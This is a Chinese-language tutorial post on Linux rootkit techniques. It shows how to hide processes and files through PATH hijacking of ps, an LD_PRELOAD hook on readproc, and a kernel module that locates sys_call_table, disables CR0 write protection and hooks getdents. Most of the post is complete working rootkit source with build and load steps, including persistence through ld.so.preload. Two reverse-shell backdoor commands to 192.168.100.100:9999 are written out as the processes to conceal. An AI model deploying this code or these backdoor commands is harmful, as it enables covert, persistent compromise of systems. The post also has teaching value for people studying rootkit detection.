Linux Rootkit 隱藏程序技巧
簡報版本 : https://www.slideshare.net/ssuserd44fa2/rootkit-101-228943978
root + kit 的意思就是拿到 root 權限後可以用的工具包,大多是隱藏程序的技巧,所以 rootkit 也可以理解成隱藏程序技術的通稱,不過也有些不需要 root 的隱藏程序技術,今天會逐一介紹 linux 上 rootkit 的原理與實作
隱之呼吸壹之型 - PATH Hijack
條件
不需要 root
目標
在 ps
的結果中隱藏下面兩種簡單的後門
bash -i >& /dev/tcp/192.168.100.100/9999 0>&1
socat TCP:192.168.100.100:9999 EXEC:/bin/bash
手法
假設在 $PATH
環境變數中 /usr/local/bin
在 /bin
前面,所以我們可以寫一個檔案在 /usr/local/bin/ps
,這樣 ps
就會執行 /usr/local/bin/ps
而不是 /bin/ps
,而達到 hook 程序的效果
#!/bin/bash
/bin/ps $@ | grep -Ev '192.168.100.100|socat'
grep -Ev
是 inverse match$@
是傳進來的參數 ( 這裡原封不動的交給/bin/ps
)
隱之呼吸貳之型 - LD_PRELOAD
條件
不需要 root
目標
在 ps
的結果中隱藏下面兩種簡單的後門
bash -i >& /dev/tcp/192.168.100.100/9999 0>&1
socat TCP:192.168.100.100:9999 EXEC:/bin/bash
要 hook 哪個函式
首先我們可以用 ltrace
看 ps
跑起來呼叫了哪些 library 的函式
...
fwrite(" [jfsCommit]\nhe]\n4\n0\n\nstart\ngrou"..., 13, 1, 0x7fbfcd303760) = 1
readproc(0x55e061b12f90, 0x55e0609d1540, 13, 1024) = 0x55e0609d1540
escape_str(0x7fbfcd90b090, 0x55e0609d1740, 0x20000, 0x7fff6f748044) = 4
strlen("root") = 4
fwrite("root", 4, 1, 0x7fbfcd303760) = 1
...
會發現 readproc
一直出現,查看一下 man page
NAME
readproc, freeproc - read information from next /proc/## entry
SYNOPSIS
#include <proc/readproc.h>
proc_t* readproc(PROCTAB *PT, proc_t *return_buf);
void freeproc(proc_t *p);
那我們就在 ps
的原始碼中找一下 readproc
的用法,如下
ptp = openproc(needs_for_format | needs_for_sort | needs_for_select | needs_for_threads);
if(!ptp) {
fprintf(stderr, "Error: can not access /proc.\n");
exit(1);
}
memset(&buf, '#', sizeof(proc_t));
switch(thread_flags & (TF_show_proc|TF_loose_tasks|TF_show_task)){
case TF_show_proc: // normal non-thread output
while(readproc(ptp,&buf)){}}
如何取得 ps 原始碼
ps
這個指令是來自 procps
,可以從 procps.sourceforge.net 下載
另外其他基本的 shell 指令的原始碼則可以從 www.gnu.org/software/coreutils 下載
- 基本上就是先
openproc
然後再用readproc
一次讀一個 process entry ptp
的型態是PROCTAB*
,裡面有 linked list 的結構,讓程式能找到下一個 processbuf
的型態是proc_t*
,包含了 process 的資訊- 那我們就去 hook
readproc
這個函式,把想隱藏的 procss 跳過
dlsym
typeof(readproc) *old_readproc = dlsym(RTLD_NEXT, "readproc");
- 這行是
LD_PRELOAD
技巧的關鍵,我們用dlsym
這個函式來找 symbol 的位址 - 放
RTLD_NEXT
這個參數會找下一個 symbol 而不是第一個 typeof(readproc)
只是一個語法糖,代表readproc
這個 function pointer 的型態
POC 原始碼
#define _GNU_SOURCE
#include <dlfcn.h>
#include <string.h>
#include <proc/readproc.h>
int hidden (char *target) {
char *keywords[2] = { "192.168.100.100", "socat" };
for (int i = 0; i < 2; i++) if (strstr(target, keywords[i])) return 1;
return 0;
}
proc_t* readproc (PROCTAB *PT, proc_t *return_buf) {
typeof(readproc) *old_readproc = dlsym(RTLD_NEXT, "readproc");
proc_t* ret_value = old_readproc(PT, return_buf);
while (ret_value
&& ret_value->cmdline
&& hidden(ret_value->cmdline[0])) {
ret_value = old_readproc(PT, return_buf);
}
return ret_value;
}
編譯
gcc -fPIC -shared -o hook.so hook.c
執行
- 指定
LD_PRELOAD
環境變數來載入編譯好的動態連結庫,但只有該次生效
LD_PRELOAD=/path/to/hook.so ps aux
- 或是編輯
ld.so.preload
,寫入hook.so
的路徑,之後每次執行都會載入,可以用ldd
查看是否成功 preload
DEMO
隱之呼吸參之型 - Loadable Kernel Module
條件
需要 root
目標
在 ls
的結果中隱藏 rootkit.ko
取得 sys_call_table
首先因為我們要 hijack system call 所以要先取得 sys_call_table
的位址
方法一
- 在 2.4 以前的內核版本,預設導出所有符號,所以可以直接用
- 如果自己編譯內核的話,可以修改原始碼用
EXPORT_SYMBOL
把sys_call_table
的符號導出來
extern void *sys_call_table[];
方法二
kallsyms_lookup_name
這個函式也可以抓位址,但他也不一定會被導出
#include <linux/kallsyms.h>
static void **sys_call_table;
static int __init hook_init (void) {
sys_call_table = (void **)kallsyms_lookup_name("sys_call_table");
printk(KERN_INFO "sys_call_table = 0x%px\n", sys_call_table);
return 0;
}
How to printk a pointer ?
要用 printk 印出 pointer 可以用 %px
%p
只會印出該指標的雜湊值而不是真正的指標的值,這是為了避免洩漏內核位址
方法三
- 下面兩個檔案路徑有可能會有 sys_call_table 的位址
- /proc/kallsyms 是一個特殊的檔案,會在讀取時動態產生
cat /boot/System.map-$(uname -r) | grep "sys_call_table"
cat /proc/kallsyms | grep "sys_call_table"
方法四
- 最穩的方式是自己去 kernel 裡面撈 memory
- 想法源自於這篇,但 kernel 5.x.x 有多包了一層
do_syscall_64
,需要做一些改動
uint8_t *get_syscalltable (void) {
int lo, hi;
asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR));
uint8_t *entry_SYSCALL_64 = (uint8_t *)(((uint64_t)hi << 32) | lo);
uint8_t *ptr;
uint8_t do_syscall_64_inst[7] = {
0x48, 0x89, 0xc7, // mov rdi, rax
0x48, 0x89, 0xe6, // mov rsi, rsp
0xe8, // call do_syscall_64
};
ptr = find(entry_SYSCALL_64, do_syscall_64_inst, 7);
uint8_t *do_syscall_64 = (uint8_t *)(ptr + 11 + ((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 7)));
uint8_t sys_call_table_inst[4] = {
0x48, 0x8b, 0x04, 0xfd // mov rax, QWORD PTR [rdi*8-?]
};
ptr = find(do_syscall_64, sys_call_table_inst, 4);
uint8_t *sys_call_table = (uint8_t *)((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 4));
return sys_call_table;
}
要理解上面的程式碼在做什麼,我們需要知道下面兩件事
Module Specific Register 是什麼 ?
- module specific register 是一塊跟 CPU 有關的暫存器
- 每個 msr 都會有個 index,可以想像成一個很大的陣列
- 用
rdmsr
,wrmsr
這組 instructions 可以對 msr 做讀寫,必須提供 index - kernel 一開始在初始化的時候,把
entry_SYSCALL_64
寫到msr[MSR_LSTAR]
syscall 執行下去實際上是發生什麼事 ?
- 使用者呼叫
syscall
- 切換到 ring 0
- 跳去 msr[MSR_LSTAR] 這個位址也就是
entry_SYSCALL_64
這裡 - 呼叫
do_syscall_64
regs->ax = sys_call_table[nr](regs);
這行呼叫對應的函式
解讀上面的程式碼的步驟
- 我們已經在 ring 0 了
- 直接用
rdmsr
讀msr[MSR_LSTAR]
- 直接在
entry_SYSCALL_64
的 instructions 裡面找下面這個 pattern
movq %rax, %rdi,
movq %rsp, %rsi
call do_syscall_64
- 這樣就找到
do_syscall_64
了 - 進到
do_syscall_64
後,一樣畫葫蘆,再找下面這個 pattern
mov rax, QWORD PTR [rdi*8-?]
- 最後,這個問號的值就會是
sys_call_table
的位址
讓 sys_call_table
可以寫入
- cr0 register 的其中一個 bit 是代表 read-only 區段可不可寫,改成 0 就通通可寫啦
write_cr0
這個 function 在 kernel 5.x.x 版加了檢查,不過我們直接寫 assembly 就沒問題啦
void writable_unlock (void) {
unsigned long val = read_cr0() & (~X86_CR0_WP);
asm volatile("mov %0,%%cr0": "+r" (val));
}
void writable_lock (void) {
unsigned long val = read_cr0() | X86_CR0_WP;
asm volatile("mov %0,%%cr0": "+r" (val));
}
要 hook 哪個 syscall
ps
做的事情就是去讀/proc
底下所有檔案,基本上是ls
的強化版,那我們這次就先做ls
隱藏檔案- 一樣用
strace ls
去看他呼叫了哪些syscall
getdents(3, /* 16 entries */, 32768) = 512
getdents(3, /* 0 entries */, 32768) = 0
close(3)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
write(1, "a\thook.c\t initramfs\t linux-5."..., 75) = 75
write(1, "attach\thook.so initramfs.cpio.g"..., 90) = 90
getdents
看起來是關鍵的 syscall,查看一下 man page
NAME
getdents, getdents64 - get directory entries
SYNOPSIS
int getdents(unsigned int fd, struct linux_dirent *dirp,
unsigned int count);
int getdents64(unsigned int fd, struct linux_dirent64 *dirp,
unsigned int count);
Note: There are no glibc wrappers for these system calls; see NOTES.
getdents
跑完後會把結果存到dirp
裡面,那我們就遍歷dirp
把要隱藏的丟掉就好了- kernel 4.x.x 的參數是放在 stack 傳的,但 kernel 5.x.x 多包了一層
do_syscall_64
,參數傳遞變成是透過struct pt_regs *regs
這個結構去傳
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/syscalls.h>
MODULE_LICENSE("GPL");
struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[]; /* Filename (null-terminated) */
};
void **sys_call_table;
int (*original_getdents) (struct pt_regs *regs);
void writable_unlock (void) {
unsigned long val = read_cr0() & (~X86_CR0_WP);
asm volatile("mov %0,%%cr0": "+r" (val));
}
void writable_lock (void) {
unsigned long val = read_cr0() | X86_CR0_WP;
asm volatile("mov %0,%%cr0": "+r" (val));
}
uint8_t *find (uint8_t *a, uint8_t *b, size_t len) {
for (uint8_t *ptr = a, i = 0; i < 500; i++, ptr++) {
if (!strncmp(ptr, b, len)) {
return ptr;
}
}
return 0;
}
uint8_t *get_syscalltable (void) {
int lo, hi;
asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR));
uint8_t *entry_SYSCALL_64 = (uint8_t *)(((uint64_t)hi << 32) | lo);
uint8_t *ptr;
uint8_t do_syscall_64_inst[7] = {
0x48, 0x89, 0xc7, // mov rdi, rax
0x48, 0x89, 0xe6, // mov rsi, rsp
0xe8, // call do_syscall_64
};
ptr = find(entry_SYSCALL_64, do_syscall_64_inst, 7);
uint8_t *do_syscall_64 = (uint8_t *)(ptr + 11 + ((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 7)));
uint8_t sys_call_table_inst[4] = {
0x48, 0x8b, 0x04, 0xfd // mov rax, QWORD PTR [rdi*8-?]
};
ptr = find(do_syscall_64, sys_call_table_inst, 4);
uint8_t *sys_call_table = (uint8_t *)((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 4));
return sys_call_table;
}
#define FILENAME "rootkit.ko"
int sys_getdents_hook(struct pt_regs *regs) {
int total = original_getdents(regs);
unsigned int fd = regs->di;
struct linux_dirent *dirent = regs->si;
unsigned int count = regs->dx;
int offset = 0;
while (offset < total) {
struct linux_dirent *ptr = (struct linux_dirent *)((uint8_t *)dirent + offset);
struct linux_dirent *next_ptr = (struct linux_dirent *)((uint8_t *)dirent + offset + ptr->d_reclen);
if (strncmp(ptr->d_name, FILENAME, strlen(FILENAME)) == 0) {
int reclen = ptr->d_reclen;
memmove(ptr, next_ptr, total - (offset + reclen));
total -= reclen;
} else {
offset += ptr->d_reclen;
}
}
return total;
}
static int rootkit_init(void) {
sys_call_table = (void **)get_syscalltable();
printk(KERN_INFO "sys_call_table = %llu\n", sys_call_table);
writable_unlock();
original_getdents = sys_call_table[__NR_getdents];
sys_call_table[__NR_getdents] = sys_getdents_hook;
return 0;
}
static void rootkit_exit(void) {
sys_call_table[__NR_getdents] = original_getdents;
writable_lock();
}
module_init(rootkit_init);
module_exit(rootkit_exit);
DEMO
- http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/
- https://exploit.ph/linux-kernel-hacking/2014/10/23/rootkit-for-hiding-files/
- https://docs-conquer-the-universe.readthedocs.io/zh_CN/latest/gnu_linux.html
- https://www.kernel.org/doc/Documentation/printk-formats.txt
- https://blog.trailofbits.com/2019/01/17/how-to-write-a-rootkit-without-really-trying/